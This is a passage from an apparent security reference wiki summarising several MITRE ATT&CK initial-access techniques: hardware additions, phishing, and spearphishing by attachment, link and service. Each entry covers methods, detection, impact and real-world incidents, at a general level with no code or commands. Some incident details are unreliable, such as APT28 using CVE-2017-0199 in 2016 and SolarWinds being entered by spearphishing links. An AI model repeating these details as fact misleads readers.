  * Exploiting trusted relationships in supply chains can result in widespread compromise, affecting multiple organizations simultaneously.
* **Regulatory and Compliance Risks:**
  * Failure to detect and respond promptly can result in regulatory penalties, legal consequences, and loss of customer trust.

Early detection and response minimize damage, reduce dwell time, and prevent attackers from achieving their objectives.

## Examples

Real-world examples of Trusted Relationship exploitation include:

* **SolarWinds Supply Chain Attack (2020):**
  * Attackers compromised SolarWinds' Orion software update mechanism to distribute malicious updates to numerous organizations, including US government agencies and Fortune 500 companies.
  * Tools used: SUNBURST malware, TEARDROP loader.
  * Impacts: Widespread espionage, data exfiltration, and severe breach of sensitive government and corporate systems.
* **Target Data Breach (2013):**
  * Attackers compromised an HVAC vendor with trusted access credentials to Target's network.
  * Leveraged legitimate vendor credentials to access Target’s internal network and install malware on point-of-sale (POS) systems.
  * Tools used: BlackPOS malware.
  * Impacts: Theft of credit card information for approximately 40 million customers, significant financial and reputational damage.
* **Operation Cloud Hopper (2016-2017):**
  * State-sponsored attackers compromised Managed Service Providers (MSPs) to infiltrate multiple customer networks simultaneously.
  * Leveraged legitimate MSP credentials and trusted access to move laterally and exfiltrate data.
  * Tools used: Custom malware, credential theft tools.
  * Impacts: Large-scale data theft, espionage activities, and prolonged undetected access to sensitive corporate networks.
* **Mimecast Certificate Compromise (2021):**
  * Attackers compromised a Mimecast-issued certificate used for authenticating certain Microsoft 365 Exchange Web Services.
  * Leveraged trusted certificate to intercept and potentially access sensitive email communications.
  * Tools used: Compromised digital certificates.
  * Impacts: Potential exposure of sensitive corporate email data, loss of trust in digital certificate infrastructure.


# Hardware Additions

Hardware Additions \[T1200]

## Information

* Name: Hardware Additions
* ID: T1200
* Tactics: [TA0001](/mitre/mitre/ta0001)

## Introduction

Hardware Additions, as defined in the MITRE ATT\&CK framework (T1200), involve adversaries introducing unauthorized hardware components into targeted systems or networks. These malicious hardware additions can range from small, covert implants to modified peripherals designed to intercept data, facilitate persistent access, or compromise system integrity. Attackers leverage this technique to bypass software-based security measures, establish persistent footholds, and maintain long-term surveillance or control over victim environments.

## Deep Dive Into Technique

Hardware Additions encompass various methods and mechanisms, each tailored to specific attacker objectives and target environments. Key technical details include:

* **Malicious Peripheral Devices:**
  * USB devices, keyboards, mice, or chargers modified to inject keystrokes, execute scripts, or deploy malware.
  * Devices like USB Rubber Ducky or Bash Bunny that emulate legitimate peripherals to deliver payloads.
* **Network Implants:**
  * Rogue network adapters or switches installed to intercept, monitor, or redirect network traffic.
  * Hardware taps placed inline with network cables to covertly monitor communications and exfiltrate sensitive data.
* **Firmware-Level Implants:**
  * Unauthorized BIOS/UEFI implants introduced via physical access, providing persistent control even after OS reinstallation.
  * Hardware implants embedded within motherboard components or expansion cards to facilitate stealthy persistence and data theft.
* **Wireless Implants:**
  * Malicious Wi-Fi or Bluetooth hardware additions that enable attackers to remotely access or manipulate target systems.
  * Devices implanted within legitimate equipment to create covert communication channels for command-and-control (C2) traffic.
* **Surveillance Hardware:**
  * Hidden cameras, microphones, or keyloggers physically installed to capture sensitive information and credentials.
  * Hardware-based screen capture devices placed between video outputs and monitors to record user activities.

Attackers typically require initial physical access or supply-chain compromise to introduce malicious hardware. Once installed, hardware implants can remain undetected for extended periods due to their stealthy nature and minimal software footprint.

## When this Technique is Usually Used

Hardware Additions can appear across multiple stages and scenarios of cyberattacks, including:

* **Initial Access:**
  * Attackers may deploy malicious hardware during physical intrusions or via compromised supply chains to gain initial footholds into secure environments.
* **Persistence:**
  * Hardware implants provide long-term, resilient persistence, surviving software-level remediation, OS reinstalls, or security updates.
* **Privilege Escalation & Credential Access:**
  * Hardware keyloggers or screen-capture devices help attackers harvest credentials, enabling further lateral movement and privilege escalation.
* **Command and Control (C2):**
  * Wireless implants or covert network devices facilitate secure and stealthy communication channels between attackers and compromised environments.
* **Exfiltration:**
  * Hardware taps and network implants passively intercept sensitive data, enabling attackers to exfiltrate information without raising alarms from traditional software-based monitoring solutions.
* **Physical Surveillance & Espionage:**
  * Malicious surveillance hardware captures sensitive conversations, meetings, and visual information, supporting espionage or industrial sabotage objectives.

## How this Technique is Usually Detected

Detection of malicious hardware additions involves multiple strategies, tools, and indicators:

* **Physical Inspection & Inventory:**
  * Regular, detailed physical inspections of workstations, servers, network devices, and peripherals to identify unauthorized hardware.
  * Maintaining accurate and up-to-date asset inventories to quickly detect discrepancies or unauthorized additions.
* **Network Monitoring & Anomalies:**
  * Monitoring network traffic for unusual patterns, unexpected devices, or rogue network communications.
  * Identifying unknown MAC addresses, unauthorized wireless access points, or unexpected network segments.
* **Firmware & BIOS Integrity Checks:**
  * Regular verification and monitoring of firmware and BIOS/UEFI integrity to detect unauthorized modifications or implants.
  * Tools such as CHIPSEC, Binwalk, or commercial firmware analysis solutions to identify malicious firmware implants.
* **Endpoint & Peripheral Monitoring:**
  * Endpoint detection and response (EDR) tools configured to detect unauthorized peripheral devices, unusual USB activity, or suspicious hardware interactions.
  * Device control policies and USB port monitoring solutions to alert on new or unrecognized hardware connections.
* **Radio Frequency (RF) Scanning:**
  * Periodic RF spectrum analysis to detect unauthorized wireless transmissions from hidden implants or rogue wireless devices.

**Indicators of Compromise (IoCs):**

* Unknown or unauthorized hardware devices connected to systems.
* Unexpected network traffic originating from previously unknown MAC addresses or IP addresses.
* Unusual RF signals or wireless networks detected in secure environments.
* Unauthorized modifications or anomalies in firmware or BIOS integrity checks.
* Suspicious device behaviors, such as unexpected keystrokes, mouse movements, or peripheral interactions.

## Why it is Important to Detect This Technique

Detecting Hardware Additions is critical due to their significant potential impacts on organizational security, integrity, and confidentiality:

* **Persistent Compromise:**
  * Hardware implants provide attackers with persistent footholds that remain unaffected by traditional software-based remediation methods, significantly complicating incident response and recovery efforts.
* **Data Theft & Espionage:**
  * Malicious hardware enables covert interception and exfiltration of sensitive data, intellectual property, credentials, or proprietary information, leading to severe financial, operational, and reputational damage.
* **Operational Disruption:**
  * Attackers leveraging hardware implants can disrupt critical infrastructure, degrade network performance, or sabotage operations, causing substantial downtime and operational losses.
* **Stealth & Detection Difficulty:**
  * Hardware implants often bypass traditional software-based security controls and monitoring tools, making early detection challenging yet crucial for effective mitigation.
* **Regulatory & Compliance Risks:**
  * Undetected hardware additions may result in compliance violations, regulatory penalties, and loss of trust from customers, partners, and stakeholders.

Early and effective detection of unauthorized hardware installations mitigates these risks, reduces potential damage, and enables organizations to respond rapidly to threats.

## Examples

Real-world examples demonstrate the practical use, attack scenarios, and impacts of Hardware Additions:

* **USB Rubber Ducky & Bash Bunny Attacks:**
  * Attackers use commercially available malicious USB devices to deliver payloads, inject keystrokes, or execute scripts on target systems.
  * Scenario: Physical access obtained by attackers or insiders leads to rapid compromise of systems, credential theft, or malware deployment.
* **Supermicro Supply Chain Attack (Bloomberg Allegations):**
  * Alleged incident involving tiny hardware implants embedded within server motherboards during manufacturing processes, enabling remote access and data exfiltration.
  * Scenario: Supply-chain compromise resulting in persistent, stealthy access to sensitive infrastructure and data.
* **NSA ANT Catalog (Hardware Implants):**
  * NSA's Advanced Network Technology (ANT) division reportedly developed hardware implants such as "COTTONMOUTH" (USB implants) and "HOWLERMONKEY" (RF implants) to infiltrate and monitor target systems.
  * Scenario: Nation-state espionage operations leveraging hardware implants for covert surveillance, data interception, and persistent access.
* **ATM Skimming Devices:**
  * Criminals install hardware skimmers or hidden cameras on ATMs to capture card data, PIN codes, and financial information.
  * Scenario: Financial theft and identity fraud through covert hardware additions targeting public infrastructure.
* **Hardware Keyloggers in Corporate Espionage:**
  * Malicious insiders or competitors install hardware keyloggers on employee workstations to capture sensitive credentials, intellectual property, or confidential communications.
  * Scenario: Corporate espionage leading to loss of competitive advantage, intellectual property theft, or reputational harm.

These examples highlight the diverse nature, methodologies, and potential impacts associated with Hardware Additions, emphasizing the critical importance of detection and mitigation strategies.


# Phishing

Phishing \[T1566]

## Information

* Name: Phishing
* ID: T1566
* Tactics: [TA0001](/mitre/mitre/ta0001)
* Sub-Technique: [T1566.002](/mitre/mitre/ta0001/t1566/t1566.002), [T1566.001](/mitre/mitre/ta0001/t1566/t1566.001), [T1566.004](/mitre/mitre/ta0001/t1566/t1566.004), [T1566.003](/mitre/mitre/ta0001/t1566/t1566.003)

## Introduction

Phishing (T1566) is a social engineering technique classified within the MITRE ATT\&CK framework under the "Initial Access" tactic. Attackers utilize phishing to deceive users into revealing sensitive information, downloading malware, or granting unauthorized access. This technique typically involves sending carefully crafted emails, messages, or links that appear legitimate, aiming to trick users into performing actions beneficial to attackers. Phishing remains one of the most common and effective initial access vectors used by threat actors.

## Deep Dive Into Technique

Phishing attacks primarily exploit human psychology, trust, and lack of awareness. Attackers typically execute phishing through the following methods:

* **Email Phishing**:
  * Attackers send fraudulent emails impersonating trusted entities such as banks, government agencies, or well-known companies.
  * Emails often contain malicious attachments (e.g., weaponized documents, macros, or executables) or links to malicious websites designed to steal credentials or distribute malware.
  * Techniques include spoofing sender addresses, using similar domain names (typosquatting), and employing urgent or authoritative language to pressure victims into action.
* **Spear Phishing**:
  * Highly targeted phishing attacks directed toward specific individuals, organizations, or roles.
  * Attackers conduct extensive reconnaissance to personalize messages, increasing the likelihood of success.
  * Commonly used in advanced persistent threat (APT) campaigns to gain initial footholds in targeted networks.
* **Whaling**:
  * Specialized spear phishing targeting high-ranking executives or individuals with privileged access.
  * Often involves sophisticated social engineering tactics, leveraging publicly available information to craft highly convincing messages.
* **Smishing and Vishing**:
  * Smishing involves phishing via SMS or text messages, often containing malicious links or requests for sensitive information.
  * Vishing (voice phishing) involves phone calls impersonating legitimate entities to trick victims into providing confidential data or access.

Attackers employ various technical mechanisms to enhance phishing effectiveness, including:

* Using compromised legitimate email accounts or domains to bypass spam filters.
* Implementing URL shortening services to obscure malicious links.
* Employing HTTPS certificates (often free or easily obtained certificates) to appear trustworthy.
* Hosting phishing pages on compromised legitimate websites or cloud services to evade detection.
* Utilizing obfuscation techniques within malicious attachments to bypass antivirus and endpoint detection solutions.

## When this Technique is Usually Used

Phishing can appear across multiple stages and scenarios of an attack lifecycle, most prominently during:

* **Initial Access Stage**:
  * Attackers commonly use phishing to gain initial entry into a victim's network or system.
  * Phishing emails containing malicious attachments or links are frequently the first vector in APT campaigns, ransomware attacks, and credential harvesting operations.
* **Credential Harvesting**:
  * Attackers use phishing websites or forms to trick users into entering credentials, enabling further lateral movement and privilege escalation.
* **Malware Delivery**:
  * Phishing emails often deliver malware payloads such as remote access trojans (RATs), ransomware, or banking trojans.
* **Social Engineering for Further Exploitation**:
  * Attackers may use phishing repeatedly within a campaign to maintain persistence, escalate privileges, or move laterally within a compromised environment.
* **Business Email Compromise (BEC)**:
  * Attackers impersonate executives or trusted partners to request wire transfers or sensitive data.

## How this Technique is Usually Detected

Detection of phishing involves multiple layers of security controls, user awareness, and technical indicators. Common detection methods and tools include:

* **Email Filtering Solutions**:
  * Spam filters, secure email gateways (SEGs), and advanced threat protection platforms analyze email headers, attachments, and embedded links for malicious indicators.
* **Endpoint Detection and Response (EDR)**:
  * Detects suspicious behavior or malicious attachments executed on endpoints, such as macro execution, suspicious script behavior, or unusual file downloads.
* **Network Monitoring and Intrusion Detection Systems (IDS)**:
  * Identifies anomalous network traffic patterns, unusual DNS queries, access to known malicious domains, or command-and-control (C2) communications.
* **User Reporting and Security Awareness Training**:
  * Employees trained to recognize phishing indicators (poor grammar, unexpected attachments, suspicious sender addresses) can report suspicious emails for further analysis.
* **Domain Monitoring and Threat Intelligence Feeds**:
  * Monitoring newly registered domains, typosquatting domains, and incorporating external threat intelligence (e.g., phishing URLs, IP addresses, malicious hashes) into security tools.

Specific indicators of compromise (IoCs) include:

* Suspicious email sender addresses (e.g., slight misspellings, unfamiliar domains).
* Malicious attachments (e.g., documents containing macros, scripts, executables).
* URLs pointing to domains with typos or unusual characters.
* HTTP/HTTPS requests to known phishing domains or IP addresses.
* Unexpected user credential exposure or login attempts from unfamiliar locations.

## Why it is Important to Detect This Technique

Early detection of phishing is critical due to its substantial impacts on systems, networks, and organizations, including:

* **Credential Theft and Unauthorized Access**:
  * Phishing attacks often lead to compromised credentials, enabling attackers to gain unauthorized access, escalate privileges, and move laterally within the network.
* **Malware Infection**:
  * Phishing emails frequently distribute malware, including ransomware, which can cause significant operational disruption, data loss, and financial damage.
* **Financial Loss**:
  * Phishing attacks, especially BEC campaigns, can result in direct financial losses through fraudulent wire transfers or unauthorized transactions.
* **Reputational Damage**:
  * Successful phishing compromises can lead to data breaches, exposing sensitive customer data and negatively impacting an organization's reputation and customer trust.
* **Compliance and Legal Consequences**:
  * Data breaches resulting from phishing attacks may result in regulatory fines and legal liabilities, particularly in heavily regulated industries (e.g., healthcare, finance).
* **Operational Disruption**:
  * Phishing-related malware infections or credential compromises can disrupt critical business operations and services, causing downtime and productivity loss.

Early detection and mitigation of phishing attempts significantly reduce these risks, protecting organizational assets, sensitive data, and reputation.

## Examples

Real-world examples of phishing attacks illustrate the diverse scenarios, tools, and impacts involved:

* **2016 Democratic National Committee (DNC) Hack**:
  * Attackers (APT28/Fancy Bear) used spear phishing emails containing malicious links to gain initial access.
  * Attackers stole sensitive emails and documents, causing significant reputational damage and political impact.
* **Google and Facebook BEC Attack (2013–2015)**:
  * Attackers impersonated a legitimate hardware supplier via phishing emails, tricking employees into transferring millions of dollars to fraudulent accounts.
  * Total losses exceeded $100 million, highlighting severe financial consequences.
* **Colonial Pipeline Ransomware Attack (2021)**:
  * Attackers gained initial access through a compromised VPN credential, likely obtained via phishing.
  * Resulted in ransomware deployment, operational disruption, and fuel shortages across the U.S. East Coast.
* **Emotet Malware Campaigns (2014–Present)**:
  * Emotet botnet distributed malware via widespread phishing emails containing malicious attachments or links.
  * Enabled secondary infections (e.g., TrickBot, Ryuk ransomware), causing massive financial and operational impacts globally.
* **COVID-19 Themed Phishing Campaigns (2020–2021)**:
  * Attackers exploited public fear and urgency around COVID-19, sending phishing emails impersonating health organizations, government entities, and vaccine providers.
  * Resulted in credential theft, malware infections, and financial fraud across multiple industries and regions.

These examples demonstrate the broad applicability, effectiveness, and severe impacts associated with phishing attacks, underscoring the importance of effective detection, prevention, and user awareness strategies.


# Spearphishing Attachment

Spearphishing Attachment \[T1566.001]

## Information

* Name: Spearphishing Attachment
* ID: T1566.001
* Tactics: [TA0001](/mitre/mitre/ta0001)
* Technique: [T1566](/mitre/mitre/ta0001/t1566)

## Introduction

Spearphishing Attachment (T1566.001) is a sub-technique within the MITRE ATT\&CK framework under the broader technique of phishing. It involves adversaries sending targeted emails containing malicious attachments to specific individuals or groups within an organization. Unlike generic phishing attacks, spearphishing attachments are carefully crafted to appear credible and relevant to the targeted recipient, increasing the likelihood of successful exploitation. These attachments may include documents, spreadsheets, PDFs, or other files embedded with malware or malicious macros designed to compromise the victim's system upon opening.

## Deep Dive Into Technique

Spearphishing attachments typically leverage social engineering techniques to trick recipients into opening malicious files. Attackers often conduct reconnaissance beforehand, gathering information about the victim's role, interests, or current projects to create convincing and contextually relevant emails.

Common execution methods and mechanisms include:

* **Malicious Macros:** Attackers embed macros in Microsoft Office documents (Word, Excel, PowerPoint). When the victim opens the document and enables macros, malicious code executes, downloading additional payloads or establishing persistence.
* **Embedded Exploits:** Attachments may contain exploits targeting software vulnerabilities. For example, PDF files may exploit outdated Adobe Reader versions, or Office documents may exploit vulnerabilities such as CVE-2017-11882.
* **Executable Files:** Attackers may disguise executable files (.exe, .scr, .js) as benign documents or archives, tricking users into executing malware directly.
* **Obfuscated Payloads:** Malicious payloads are often obfuscated or encrypted to evade antivirus detection. Attackers may also use password-protected archives to bypass automated scanning solutions.
* **Fileless Techniques:** Attachments may leverage scripts (e.g., PowerShell, JavaScript) that execute in memory without writing files to disk, making detection more challenging.

Real-world procedures commonly involve:

1. Reconnaissance to identify targeted individuals and gather contextually relevant information.
2. Crafting tailored emails with believable sender addresses, subject lines, and content.
3. Sending emails containing malicious attachments designed to evade detection mechanisms.
4. Victim interaction—opening attachment, enabling macros, or executing embedded scripts.
5. Malware execution, initial access, and establishment of persistence within the compromised system or network.

## When this Technique is Usually Used

Spearphishing attachments can appear at various stages of an attack lifecycle, but are most commonly utilized during the initial access stage. Attackers frequently rely on this technique to gain an initial foothold within an organization before moving laterally or escalating privileges.

Typical scenarios include:

* Targeted espionage campaigns against government agencies, defense contractors, or critical infrastructure entities.
* Financially motivated attacks aiming to compromise business email systems, financial departments, or executive accounts.
* Initial access attempts by ransomware groups, delivering malware payloads that encrypt critical systems and data.
* Supply chain attacks, where attackers target trusted partners or vendors to infiltrate larger organizations indirectly.
* Credential harvesting campaigns, where malicious attachments deliver malware capable of stealing credentials or sensitive information from compromised systems.

## How this Technique is Usually Detected

Detection of spearphishing attachments involves a combination of technological solutions, user education, and proactive monitoring. Effective detection methods and tools include:

* **Email Security Gateways:** Solutions such as Proofpoint, Cisco Email Security, or Mimecast scan email attachments for known malware signatures, suspicious macros, embedded scripts, and malicious URLs.
* **Endpoint Protection Platforms (EPP) and Endpoint Detection and Response (EDR):** Tools like CrowdStrike Falcon, Microsoft Defender for Endpoint, or SentinelOne monitor and detect malicious file execution, anomalous behavior, and suspicious macro activity.
* **Sandboxing and Detonation Chambers:** Attachments can be opened in isolated environments (sandboxing solutions like Cuckoo Sandbox, FireEye NX, or Palo Alto Networks WildFire) to analyze behavior and detect malicious activity without risking actual endpoints.
* **Network Monitoring and Intrusion Detection Systems (IDS):** Tools such as Snort, Suricata, or Zeek can detect suspicious network traffic patterns associated with malware payload downloads or command-and-control (C2) communication.
* **User Awareness and Reporting:** Educating users to recognize spearphishing attempts and report suspicious emails promptly enhances detection and incident response capabilities.

Specific Indicators of Compromise (IoCs) may include:

* Suspicious email headers or sender domains closely resembling legitimate domains.
* Unusual or mismatched file extensions (e.g., ".doc.exe", ".pdf.js").
* Password-protected archives sent without prior context or communication.
* Attachments containing macros prompting users to enable content.
* Unexpected outbound network traffic or connections to unknown IP addresses or domains immediately after attachment execution.

## Why it is Important to Detect This Technique

Detecting spearphishing attachments early is critical due to their potential severe and widespread impacts on organizations. Possible impacts and reasons for importance include:

* **Initial Access and Compromise:** Spearphishing attachments are commonly used for initial intrusion, enabling attackers to gain a foothold and subsequently escalate privileges or move laterally.
* **Data Exfiltration and Intellectual Property Theft:** Attackers may use initial access to steal sensitive data or intellectual property, causing significant financial and reputational damage.
* **Ransomware Deployment:** Malicious attachments often deliver ransomware, leading to operational disruption, data loss, and significant recovery costs.
* **Credential Theft and Account Compromise:** Malware delivered via spearphishing attachments can harvest credentials, enabling attackers to access sensitive systems and data.
* **Regulatory and Compliance Risks:** Failure to detect and respond to spearphishing attacks may result in compliance violations, regulatory fines, and legal consequences.
* **Operational Disruption and Downtime:** Successful attacks can disrupt critical business operations, negatively impacting productivity, customer trust, and market reputation.

Early detection allows organizations to contain incidents quickly, minimize damage, mitigate further threats, and maintain business continuity.

## Examples

Real-world examples of spearphishing attachment attacks include:

* **APT28 (Fancy Bear):** Known for targeting government and defense sectors. In 2016, the group sent spearphishing emails containing malicious attachments exploiting vulnerabilities like CVE-2017-0199, enabling remote code execution and espionage operations.
* **Emotet Malware Campaigns:** Emotet operators frequently use spearphishing emails with malicious Word documents containing macros. Once enabled, macros download Emotet payloads, which subsequently deliver additional malware such as TrickBot or Ryuk ransomware.
* **Operation Aurora (2009-2010):** Attackers used spearphishing emails with malicious PDF attachments exploiting Adobe Reader vulnerabilities to compromise Google and other major technology companies, stealing intellectual property and sensitive data.
* **FIN7 Group Attacks:** FIN7 targeted retail, hospitality, and financial sectors using spearphishing emails with malicious Office documents containing macros or exploits to deploy malware such as Carbanak, stealing financial information and payment card data.
* **Ryuk Ransomware Attacks:** Ryuk ransomware operators often initiate attacks by sending spearphishing emails containing malicious attachments that deliver initial malware payloads (such as Emotet or TrickBot), enabling lateral movement and eventual ransomware deployment.

In these scenarios, attackers leveraged spearphishing attachments to achieve initial access, deploy additional malware, establish persistence, exfiltrate data, or disrupt operations, highlighting the critical importance of detection and mitigation measures.


# Spearphishing Link

Spearphishing Link \[T1566.002]

## Information

* Name: Spearphishing Link
* ID: T1566.002
* Tactics: [TA0001](/mitre/mitre/ta0001)
* Technique: [T1566](/mitre/mitre/ta0001/t1566)

## Introduction

Spearphishing Link (T1566.002) is a sub-technique within the MITRE ATT\&CK framework under the broader category of Initial Access. This sub-technique involves targeted phishing attacks, where adversaries send carefully crafted emails containing malicious links to specific individuals, groups, or organizations. Victims who click these links may inadvertently download malware, disclose sensitive credentials, or facilitate unauthorized access to their networks. Spearphishing links leverage personalized and contextually relevant content to increase credibility and likelihood of successful exploitation.

## Deep Dive Into Technique

Spearphishing Link attacks rely heavily on social engineering and meticulous reconnaissance to achieve successful exploitation. Attackers typically follow these steps:

1. **Reconnaissance and Target Selection:**
   * Adversaries research potential targets extensively, identifying key personnel, roles, relationships, and interests.
   * Publicly available information from social media, corporate websites, and professional networks is commonly leveraged to enhance credibility.
2. **Crafting the Email:**
   * Emails are carefully tailored to appear trustworthy and relevant to the recipient.
   * Attackers often impersonate known contacts, organizations, or trusted services to deceive the victim.
   * Emails frequently contain urgent or enticing language, prompting immediate action to increase the likelihood of clicking the link.
3. **Malicious Links and Infrastructure:**
   * Links embedded in spearphishing emails typically direct victims to attacker-controlled websites.
   * These websites may mimic legitimate login portals, file-sharing services, or trusted domains, leveraging domain spoofing or typo-squatting techniques.
   * Attackers may use URL shortening services or legitimate cloud services to obfuscate malicious URLs and evade detection.
4. **Payload Delivery and Exploitation:**
   * Clicking the malicious link can lead to various outcomes, including credential harvesting, malware downloads, or redirection to exploit kits.
   * Malware delivered via spearphishing links can include remote access trojans (RATs), ransomware, spyware, or keyloggers.
   * Attackers frequently leverage zero-day or known vulnerabilities in browsers or plugins to silently compromise systems upon link access.
5. **Persistence and Further Exploitation:**
   * Post-compromise, attackers may establish persistent access within the victim's environment to conduct lateral movement, privilege escalation, or data exfiltration.
   * Spearphishing links often serve as the initial foothold for more sophisticated and prolonged cyber campaigns.

## When this Technique is Usually Used

Spearphishing Link attacks commonly occur during the initial phases of cyber operations. Typical scenarios and stages include:

* **Initial Access Phase:**
  * Attackers use spearphishing links to gain initial entry into targeted organizations, bypassing perimeter security measures.
  * Spearphishing links often target employees with privileged access or sensitive information, increasing the effectiveness of initial compromise.
* **Credential Harvesting Campaigns:**
  * Attackers frequently utilize spearphishing links in credential theft operations, redirecting victims to fake login pages to capture usernames and passwords.
  * Compromised credentials may subsequently facilitate unauthorized access, lateral movement, or privilege escalation.
* **Advanced Persistent Threat (APT) Operations:**
  * APT groups commonly use spearphishing links as an entry point to infiltrate high-value targets, including government agencies, defense contractors, financial institutions, and critical infrastructure.
  * Spearphishing links are frequently part of multi-stage attacks designed to establish persistent footholds for long-term espionage or sabotage operations.
* **Ransomware Attacks:**
  * Ransomware groups regularly deploy spearphishing links to deliver malicious payloads and gain initial access to victim networks.
  * Once initial access is established, attackers deploy ransomware payloads, encrypting critical data and demanding ransom payments.

## How this Technique is Usually Detected

Detection of Spearphishing Link attacks involves a combination of technical controls, user awareness, and proactive monitoring. Common detection methods and indicators include:

* **Email Gateway and Filtering Solutions:**
  * Advanced email security tools can detect and flag suspicious emails based on sender reputation, domain analysis, threat intelligence feeds, and URL analysis.
  * Sandboxing technologies analyze embedded URLs, identifying malicious content or redirections.
* **Endpoint Detection and Response (EDR):**
  * EDR solutions monitor endpoint activities, detecting anomalous behaviors associated with malicious link clicks, such as unexpected downloads, process executions, or network connections.
  * Behavioral analysis can identify indicators of compromise (IoCs) such as unusual process trees, unauthorized script execution, or persistence mechanisms.
* **Network Monitoring and Intrusion Detection Systems (IDS):**
  * Network monitoring solutions detect anomalous traffic patterns, suspicious DNS queries, or communications to known malicious domains.
  * IDS rules and signatures can flag traffic associated with known spearphishing campaigns or malicious infrastructure.
* **User Reporting and Awareness Programs:**
  * Encouraging users to report suspicious emails or links significantly contributes to early detection and response.
  * User training and phishing simulation exercises enhance organizational resilience against spearphishing attacks.
* **Indicators of Compromise (IoCs):**
  * Suspicious URLs, shortened links, or domains closely resembling legitimate services.
  * Unexpected downloads or file creations following link clicks.
  * Unusual outbound network connections or DNS queries following user interactions with suspicious emails.

## Why it is Important to Detect This Technique

Timely detection of Spearphishing Link attacks is critical due to their potential impact on organizational security, operational continuity, and reputation. Key reasons include:

* **Preventing Initial Compromise:**
  * Early detection and mitigation significantly reduce the likelihood of successful initial access, limiting attackers' ability to establish footholds within networks.
* **Protecting Sensitive Information:**
  * Spearphishing links frequently lead to credential theft, data exfiltration, or unauthorized access to critical systems.
  * Timely detection prevents sensitive data breaches, intellectual property theft, and disclosure of confidential information.
* **Reducing Financial and Operational Impact:**
  * Successful spearphishing attacks can result in ransomware infections, business disruption, operational downtime, and significant financial losses.
  * Early detection minimizes remediation costs, downtime, and potential ransom payments.
* **Preventing Lateral Movement and Escalation:**
  * Detecting initial spearphishing attempts prevents attackers from moving laterally within the environment, escalating privileges, or conducting further exploitation.
* **Maintaining Regulatory Compliance and Reputation:**
  * Organizations subject to regulatory frameworks or data protection laws must demonstrate effective detection and response mechanisms to avoid penalties and reputational damage.

## Examples

Real-world examples of Spearphishing Link attacks highlight the sophistication, impact, and widespread use of this technique:

* **APT29 (Cozy Bear) and SolarWinds Attack (2020):**
  * Attackers used spearphishing emails containing malicious links to compromise internal email accounts, facilitating lateral movement and eventual supply-chain compromise.
  * Impact included widespread compromise of government agencies and private sector organizations, leading to significant espionage and data exfiltration.
* **Operation Aurora (2010):**
  * Attackers targeted Google and other technology companies using spearphishing links directing employees to malicious websites hosting zero-day exploits.
  * Resulted in theft of intellectual property, compromise of email accounts, and significant operational disruption.
* **FIN7 Financial Cybercrime Group:**
  * FIN7 extensively leveraged targeted spearphishing emails with malicious links, impersonating legitimate business partners or services.
  * Successfully compromised numerous retail, hospitality, and financial organizations, resulting in large-scale credit card data breaches and financial losses.
* **APT28 (Fancy Bear) Attacks:**
  * APT28 frequently employs spearphishing links in targeted attacks against government institutions, political entities, and defense contractors.
  * Notable campaigns include attacks against U.S. political organizations, NATO members, and European government agencies, resulting in espionage and sensitive data leaks.
* **Ryuk Ransomware Campaigns:**
  * Attackers utilized spearphishing links to deliver initial malware payloads, subsequently deploying Ryuk ransomware across compromised networks.
  * Resulted in significant operational disruption, financial losses, and ransom payments across healthcare, government, and private sector organizations.


# Spearphishing via Service

Spearphishing via Service \[T1566.003]

## Information

* Name: Spearphishing via Service
* ID: T1566.003
* Tactics: [TA0001](/mitre/mitre/ta0001)
* Technique: [T1566](/mitre/mitre/ta0001/t1566)

## Introduction

Spearphishing via Service (T1566.003) is a sub-technique within the MITRE ATT\&CK framework categorized under Initial Access. It involves adversaries sending targeted phishing messages through legitimate third-party services, such as cloud storage providers, collaboration tools, social media platforms, or other trusted communication channels. Leveraging these trusted services increases the credibility of phishing attempts, making it more challenging for users and security solutions to detect malicious intent.

## Deep Dive Into Technique

Adversaries executing spearphishing via service rely on legitimate, widely recognized services to deliver malicious content or links. This approach capitalizes on user trust and the inherent legitimacy of these platforms. Technical execution typically involves the following steps:

* **Selecting Legitimate Services:**
  * Cloud storage services (e.g., Google Drive, Dropbox, Microsoft SharePoint).
  * Collaboration platforms (e.g., Slack, Microsoft Teams).
  * Social media and messaging services (e.g., LinkedIn, Twitter, Facebook Messenger).
  * File-sharing services (e.g., WeTransfer, Box).
* **Crafting Targeted Content:**
  * Adversaries create convincing messages tailored specifically to the victim or victim organization.
  * Messages often impersonate trusted contacts or organizations to increase credibility.
  * Content typically includes malicious links or attachments hosted on legitimate platforms, redirecting victims to attacker-controlled infrastructure.
* **Delivery and Execution:**
  * Victims receive phishing messages via direct notifications, emails generated by the legitimate service, or direct messaging platforms.
  * Victims may be prompted to download malicious documents or visit credential-harvesting websites.
  * Malicious payloads may exploit vulnerabilities, execute malware, or harvest sensitive credentials upon user interaction.
* **Obfuscation and Evasion Techniques:**
  * Attackers leverage trusted domains and SSL certificates of legitimate services to bypass email gateways and security filtering tools.
  * They use URL shortening services or legitimate redirection mechanisms to disguise malicious links.
  * Content hosted on legitimate platforms makes detection challenging due to the inherent trustworthiness of these domains.

## When this Technique is Usually Used

Spearphishing via service is predominantly observed during the initial access stage of targeted cyber-attacks, though it can also be leveraged at various stages to maintain persistence or escalate privileges. Common attack scenarios and stages include:

* **Initial Reconnaissance and Credential Harvesting:**
  * Attackers use spearphishing via trusted services to gain initial footholds by capturing user credentials or delivering malware payloads.
* **Social Engineering Campaigns:**
  * Targeted spearphishing campaigns aimed at executives, IT administrators, or privileged users to compromise high-value accounts.
* **Supply Chain Attacks:**
  * Attackers leverage trusted third-party services used by victim organizations to deliver malicious content, enhancing the perceived legitimacy of their messages.
* **Persistence and Lateral Movement:**
  * After initial compromise, attackers may reuse legitimate services to deliver additional payloads, maintain access, or move laterally within a compromised network.
* **Targeted Espionage and Financially Motivated Attacks:**
  * Nation-state actors and financially motivated adversaries frequently rely on this technique due to its effectiveness in evading detection.

## How this Technique is Usually Detected

Detection of spearphishing via service is challenging due to the legitimate nature of the platforms involved. However, several methods, tools, and indicators can aid in identifying malicious activity:

* **User Awareness and Reporting:**
  * Training users to recognize suspicious messages, unusual requests, or unexpected file-sharing notifications.
  * Encouraging immediate reporting of unusual messages to security teams.
* **Email Gateway and Content Filtering:**
  * Implementing advanced email security solutions capable of inspecting URLs, attachments, and content patterns.
  * Analyzing email headers and content for anomalies or unusual sender patterns.
* **Endpoint Detection and Response (EDR):**
  * Monitoring endpoint activities for suspicious downloads, unexpected execution of scripts, or unusual network connections following user interactions with third-party services.
* **Network Traffic Analysis:**
  * Identifying unusual outbound connections to unknown domains or abnormal data transfers following interactions with legitimate services.
* **Behavioral Analytics and Anomaly Detection:**
